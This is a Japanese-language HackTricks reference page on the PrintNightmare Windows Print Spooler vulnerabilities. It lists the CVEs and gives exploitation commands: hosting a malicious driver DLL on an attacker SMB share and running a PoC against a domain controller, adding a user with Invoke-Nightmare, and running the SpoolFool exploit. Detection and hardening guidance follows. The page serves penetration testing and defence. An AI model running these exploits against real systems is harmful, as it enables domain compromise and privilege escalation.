PrintNightmare (Windows Print Spooler RCE/LPE)

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PrintNightmareは、Windows Print Spoolerサービスにおける脆弱性のファミリーに付けられた総称であり、SYSTEMとしての任意のコード実行を可能にし、スプーラーがRPC経由で到達可能な場合には、ドメインコントローラーやファイルサーバー上でのリモートコード実行(RCE)を可能にします。最も広く悪用されているCVEは、CVE-2021-1675(最初はLPEとして分類)とCVE-2021-34527(完全なRCE)です。その後の問題として、**CVE-2021-34481(「Point & Print」)CVE-2022-21999(「SpoolFool」)**があり、攻撃面はまだ閉じられていないことが証明されています。


1. 脆弱なコンポーネントとCVE

CVE短い名前プリミティブノート
2021CVE-2021-1675「PrintNightmare #1」LPE2021年6月のCUでパッチが適用されたが、CVE-2021-34527によってバイパスされた
2021CVE-2021-34527「PrintNightmare」RCE/LPEAddPrinterDriverExは認証されたユーザーがリモート共有からドライバDLLをロードすることを許可
2021CVE-2021-34481「Point & Print」LPE非管理者ユーザーによる署名されていないドライバのインストール
2022CVE-2022-21999「SpoolFool」LPE任意のディレクトリ作成 → DLLの植え付け – 2021年のパッチ後も機能

これらはすべて、MS-RPRN / MS-PAR RPCメソッドRpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver)またはPoint & Print内の信頼関係を悪用しています。

2. 悪用技術

2.1 リモートドメインコントローラーの侵害(CVE-2021-34527)

認証されたが特権のないドメインユーザーは、次の方法でリモートスプーラー(通常はDC)上でNT AUTHORITY\SYSTEMとして任意のDLLを実行できます:

powershell
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

人気のあるPoCには、CVE-2021-1675.py(Python/Impacket)、SharpPrintNightmare.exe(C#)、およびBenjamin Delpyのmisc::printnightmare / lsa::addsidモジュールが含まれていますmimikatz

2.2 ローカル特権昇格(サポートされているWindows、2021-2024)

同じAPIはローカルで呼び出され、C:\Windows\System32\spool\drivers\x64\3\からドライバーをロードしてSYSTEM特権を取得できます:

powershell
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) – 2021年の修正を回避する

Microsoftの2021年のパッチはリモートドライバーの読み込みをブロックしましたが、ディレクトリの権限を強化しませんでした。SpoolFoolはSpoolDirectoryパラメータを悪用して、C:\Windows\System32\spool\drivers\の下に任意のディレクトリを作成し、ペイロードDLLをドロップし、スプーラーにそれを読み込ませます:

powershell
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

このエクスプロイトは、2022年2月の更新前の完全にパッチが適用されたWindows 7 → Windows 11およびServer 2012R2 → 2022で動作します。


3. 検出とハンティング

  • イベントログMicrosoft-Windows-PrintService/OperationalおよびAdminチャネルを有効にし、イベントID 808「印刷スプーラーがプラグインモジュールの読み込みに失敗しました」またはRpcAddPrinterDriverExメッセージを監視します。
  • Sysmon – 親プロセスがspoolsv.exeのときに、C:\Windows\System32\spool\drivers\*内のイベントID 7(イメージが読み込まれました)または11/23(ファイルの書き込み/削除)。
  • プロセス系譜spoolsv.execmd.exerundll32.exe、PowerShell、または署名されていないバイナリを生成するたびにアラートを発します。

4. 緩和とハードニング

  1. パッチを適用! – Print SpoolerサービスがインストールされているすべてのWindowsホストに最新の累積更新を適用します。
  2. 必要ない場所ではスプーラーを無効にする、特にドメインコントローラーで:
powershell
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. リモート接続をブロックしつつローカル印刷を許可する – グループポリシー:コンピュータの構成 → 管理用テンプレート → プリンタ → Print Spoolerがクライアント接続を受け入れることを許可 = 無効
  2. Point & Printを制限し、管理者のみがドライバーを追加できるようにレジストリ値を設定します:
cmd
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

詳細なガイダンスはMicrosoft KB5005652にあります。


5. 関連研究 / ツール

  • mimikatz printnightmare モジュール
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • SpoolFoolエクスプロイトとその解説
  • SpoolFoolおよびその他のスプーラーのバグに対する0patchマイクロパッチ

さらなる読み物(外部): 2024年のウォークスルーブログ投稿をチェック – PrintNightmare脆弱性の理解

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする